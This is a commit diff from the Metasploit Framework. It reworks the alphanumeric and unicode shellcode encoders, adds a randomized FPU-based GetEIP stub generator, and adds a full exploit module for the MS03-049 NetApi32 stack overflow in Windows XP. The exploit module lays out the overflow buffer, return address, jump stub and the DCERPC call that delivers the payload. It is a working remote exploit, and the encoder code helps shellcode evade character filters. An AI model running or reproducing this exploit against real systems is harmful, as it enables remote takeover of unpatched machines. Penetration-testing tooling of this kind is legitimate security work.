First round of bugfixes for encoders. Alphanumeric encoders no longer default the BufferRegister option, since this can lead to non-compatible exploits falling through to these encoders, selecting them, and then crashing. The new method uses a dynamic (not quite poly) geteip generator, that while not yet alphanumeric compatible, it handles most of the known use cases. Remaining items:
1) Figure out how to handle unicode geteip (unicode encoded, alphanum probably) 2) Add keys to the unicode payloads to force a corresponding keyu on the exploit side to enable git-svn-id: file:///home/svn/framework3/trunk@3863 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
7a051c8ee1
commit
47039ff3fa
|
@ -12,14 +12,12 @@ class Encoder::Alphanum < Msf::Encoder
|
|||
def initialize(info)
|
||||
super(info)
|
||||
|
||||
# Defaults based on architecture.
|
||||
reg = 'EAX' if (arch?(ARCH_X86))
|
||||
off = 0
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('BufferRegister', [ true, "The register that pointers to the encoded payload", reg ]),
|
||||
OptInt.new('BufferOffset', [ true, "The offset to the buffer from the start of the register", off ])
|
||||
OptString.new('BufferRegister', [ false, "The register that pointers to the encoded payload" ]),
|
||||
OptInt.new('BufferOffset', [ false, "The offset to the buffer from the start of the register", off ])
|
||||
], Msf::Encoder::Alphanum)
|
||||
end
|
||||
|
||||
|
|
|
@ -344,6 +344,133 @@ module X86
|
|||
return data
|
||||
end
|
||||
|
||||
#
|
||||
# This method returns an array of 'safe' FPU instructions
|
||||
#
|
||||
def self.fpu_instructions
|
||||
fpus = []
|
||||
|
||||
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
|
||||
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
|
||||
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
|
||||
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
|
||||
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
|
||||
|
||||
fpus << "\xd9\xd0"
|
||||
fpus << "\xd9\xe1"
|
||||
fpus << "\xd9\xf6"
|
||||
fpus << "\xd9\xf7"
|
||||
fpus << "\xd9\xe5"
|
||||
|
||||
# This FPU instruction seems to fail consistently on Linux
|
||||
#fpus << "\xdb\xe1"
|
||||
|
||||
fpus
|
||||
end
|
||||
|
||||
#
|
||||
# This method returns an array containing a geteip stub, a register, and an offset
|
||||
# This method will return nil if the getip generation fails
|
||||
#
|
||||
def self.geteip_fpu(badchars)
|
||||
|
||||
#
|
||||
# Default badchars to an empty string
|
||||
#
|
||||
badchars ||= ''
|
||||
|
||||
#
|
||||
# Bail out early if D9 is restricted
|
||||
#
|
||||
return nil if badchars.index("\xd9")
|
||||
|
||||
#
|
||||
# Create a list of FPU instructions
|
||||
#
|
||||
fpus = *self.fpu_instructions
|
||||
bads = []
|
||||
badchars.each_byte do |c|
|
||||
fpus.each do |str|
|
||||
bads << str if (str.index(c.chr))
|
||||
end
|
||||
end
|
||||
bads.each { |str| fpus.delete(str) }
|
||||
return nil if fpus.length == 0
|
||||
|
||||
#
|
||||
# Create a list of registers to use for fnstenv
|
||||
#
|
||||
dsts = []
|
||||
0.upto(7) do |c|
|
||||
dsts << c if (not badchars.index( (0x70+c).chr ))
|
||||
end
|
||||
|
||||
if (dsts.include?(ESP) and badchars.index("\x24"))
|
||||
dsts.delete(ESP)
|
||||
end
|
||||
|
||||
return nil if dsts.length == 0
|
||||
|
||||
#
|
||||
# Grab a random FPU instruction
|
||||
#
|
||||
fpu = fpus[ rand(fpus.length) ]
|
||||
|
||||
#
|
||||
# Grab a random register from dst
|
||||
#
|
||||
while(dsts.length > 0)
|
||||
buf = ''
|
||||
dst = dsts[ rand(dsts.length) ]
|
||||
dsts.delete(dst)
|
||||
|
||||
# If the register is not ESP, copy ESP
|
||||
if (dst != ESP)
|
||||
next if badchars.index( (0x70 + dst).chr )
|
||||
|
||||
if (not (badchars.index("\x89") or badchars.index( (0xE0+dst).chr )))
|
||||
buf << "\x89" + (0xE0 + dst).chr
|
||||
else
|
||||
next if badchars.index("\x54")
|
||||
next if badchars.index( (0x58+dst).chr )
|
||||
buf << "\x54" + (0x58 + dst).chr
|
||||
end
|
||||
end
|
||||
|
||||
pad = 0
|
||||
while (pad < (128-12) and badchars.index( (256-12-pad)))
|
||||
pad += 4
|
||||
end
|
||||
|
||||
# Give up on finding a value to use here
|
||||
if (pad == (128-12))
|
||||
return nil
|
||||
end
|
||||
|
||||
out = buf + fpu + "\xd9" + (0x70 + dst).chr
|
||||
out << "\x24" if dst == ESP
|
||||
out << (256-12-pad).chr
|
||||
|
||||
regs = [*(0..7)]
|
||||
while (regs.length > 0)
|
||||
reg = regs[ rand(regs.length) ]
|
||||
regs.delete(reg)
|
||||
next if reg == ESP
|
||||
next if badchars.index( (0x58 + reg).chr )
|
||||
|
||||
# Pop the value back out
|
||||
0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
|
||||
|
||||
# Fix the value to point to self
|
||||
gap = out.length - buf.length
|
||||
|
||||
return [out, REG_NAMES32[reg].upcase, gap]
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end
|
||||
|
|
|
@ -32,10 +32,20 @@ class AlphaMixed < Msf::Encoder::Alphanum
|
|||
# being encoded.
|
||||
#
|
||||
def decoder_stub(state)
|
||||
reg = datastore['BufferRegister'] || 'EAX'
|
||||
offset = datastore['BufferOffset'].to_i || 0
|
||||
reg = datastore['BufferRegister']
|
||||
off = (datastore['BufferOffset'] || 0).to_i
|
||||
buf = ''
|
||||
|
||||
# We need to create a GetEIP stub for the exploit
|
||||
if (not reg)
|
||||
res = Rex::Arch::X86.geteip_fpu(state.badchars)
|
||||
if (not res)
|
||||
raise RuntimeError, "Unable to generate geteip code"
|
||||
end
|
||||
buf, reg, off = res
|
||||
end
|
||||
|
||||
Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, offset)
|
||||
buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -43,7 +53,7 @@ class AlphaMixed < Msf::Encoder::Alphanum
|
|||
# payload.
|
||||
#
|
||||
def encode_block(state, block)
|
||||
Rex::Encoder::Alpha2::AlphaMixed::encode_byte(block.unpack('C')[0], datastore['BadChars'])
|
||||
Rex::Encoder::Alpha2::AlphaMixed::encode_byte(block.unpack('C')[0], state.badchars)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -32,10 +32,20 @@ class AlphaUpper < Msf::Encoder::Alphanum
|
|||
# being encoded.
|
||||
#
|
||||
def decoder_stub(state)
|
||||
reg = datastore['BufferRegister'] || 'EAX'
|
||||
offset = datastore['BufferOffset'].to_i || 0
|
||||
reg = datastore['BufferRegister']
|
||||
off = (datastore['BufferOffset'] || 0).to_i
|
||||
buf = ''
|
||||
|
||||
Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, offset)
|
||||
# We need to create a GetEIP stub for the exploit
|
||||
if (not reg)
|
||||
res = Rex::Arch::X86.geteip_fpu(state.badchars)
|
||||
if (not res)
|
||||
raise RuntimeError, "Unable to generate geteip code"
|
||||
end
|
||||
buf, reg, off = res
|
||||
end
|
||||
|
||||
buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -43,7 +53,7 @@ class AlphaUpper < Msf::Encoder::Alphanum
|
|||
# payload.
|
||||
#
|
||||
def encode_block(state, block)
|
||||
return Rex::Encoder::Alpha2::AlphaUpper::encode_byte(block.unpack('C')[0], datastore['BadChars'])
|
||||
return Rex::Encoder::Alpha2::AlphaUpper::encode_byte(block.unpack('C')[0], state.badchars)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -32,7 +32,7 @@ class UnicodeMixed < Msf::Encoder::Alphanum
|
|||
# being encoded.
|
||||
#
|
||||
def decoder_stub(state)
|
||||
reg = datastore['BufferRegister'] || 'EAX'
|
||||
reg = datastore['BufferRegister'] || raise RuntimeError, "Need BufferRegister"
|
||||
offset = datastore['BufferOffset'].to_i || 0
|
||||
|
||||
Rex::Encoder::Alpha2::UnicodeMixed::gen_decoder(reg, offset)
|
||||
|
@ -43,7 +43,7 @@ class UnicodeMixed < Msf::Encoder::Alphanum
|
|||
# payload.
|
||||
#
|
||||
def encode_block(state, block)
|
||||
Rex::Encoder::Alpha2::UnicodeMixed::encode_byte(block.unpack('C')[0], datastore['BadChars'])
|
||||
Rex::Encoder::Alpha2::UnicodeMixed::encode_byte(block.unpack('C')[0], state.badchars)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -32,7 +32,7 @@ class UnicodeUpper < Msf::Encoder::Alphanum
|
|||
# being encoded.
|
||||
#
|
||||
def decoder_stub(state)
|
||||
reg = datastore['BufferRegister'] || 'EAX'
|
||||
reg = datastore['BufferRegister'] || raise RuntimeError, "Need BufferRegister"
|
||||
offset = datastore['BufferOffset'].to_i || 0
|
||||
|
||||
Rex::Encoder::Alpha2::UnicodeUpper::gen_decoder(reg, offset)
|
||||
|
@ -43,7 +43,7 @@ class UnicodeUpper < Msf::Encoder::Alphanum
|
|||
# payload.
|
||||
#
|
||||
def encode_block(state, block)
|
||||
Rex::Encoder::Alpha2::UnicodeUpper::encode_byte(block.unpack('C')[0], datastore['BadChars'])
|
||||
Rex::Encoder::Alpha2::UnicodeUpper::encode_byte(block.unpack('C')[0], state.badchars)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -0,0 +1,122 @@
|
|||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
class Exploits::Windows::Smb::MS03_049_NETAPI < Msf::Exploit::Remote
|
||||
|
||||
include Exploit::Remote::DCERPC
|
||||
include Exploit::Remote::SMB
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft NetAddAlternateComputerName MS03-049 Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack overflow in the NetApi32 NetAddAlternateComputerName
|
||||
function using the Workstation service in Windows XP.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hdm'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 3720 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '9011' ],
|
||||
[ 'CVE', '2003-082' ],
|
||||
[ 'MSB', 'MS03-049' ],
|
||||
[ 'OSVDB', '11461' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'DefaultTarget' => 0,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP0/SP1',
|
||||
{
|
||||
'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
|
||||
}
|
||||
],
|
||||
],
|
||||
|
||||
'DisclosureDate' => 'Nov 11 2003'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
connect()
|
||||
smb_login()
|
||||
|
||||
handle = dcerpc_handle(
|
||||
'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
|
||||
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
|
||||
)
|
||||
|
||||
print_status("Binding to #{handle} ...")
|
||||
dcerpc_bind(handle)
|
||||
print_status("Bound to #{handle} ...")
|
||||
|
||||
print_status("Building the stub data...")
|
||||
|
||||
|
||||
name = Rex::Text.rand_text_alphanumeric(5000)
|
||||
name[3496, 4] = [target.ret].pack('V')
|
||||
name[3492, 2] = "\xeb\x06"
|
||||
name[3500, 5] = "\xe9" + [-3505].pack('V')
|
||||
name[0, payload.encoded.length] = payload.encoded
|
||||
|
||||
=begin
|
||||
name[0, payload.encoded.length] = "\xcc" * payload.encoded.length
|
||||
buff = [*(0x7f..255)].pack('C*')
|
||||
payload_badchars.each_byte do |c|
|
||||
buff.delete!(c.chr)
|
||||
end
|
||||
|
||||
name[3505, buff.length] = buff
|
||||
=end
|
||||
|
||||
stub =
|
||||
NDR.long(rand(0xffffffff)) +
|
||||
NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
|
||||
NDR.long(rand(0xffffffff)) +
|
||||
NDR.UnicodeConformantVaryingString(name) +
|
||||
NDR.long(rand(0xffffffff)) +
|
||||
NDR.UnicodeConformantVaryingString('') +
|
||||
NDR.long(0) +
|
||||
NDR.long(0)
|
||||
|
||||
print_status("Calling the vulnerable function...")
|
||||
|
||||
begin
|
||||
dcerpc.call(0x1b, stub)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
rescue => e
|
||||
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
|
||||
raise e
|
||||
end
|
||||
end
|
||||
|
||||
# Cleanup
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue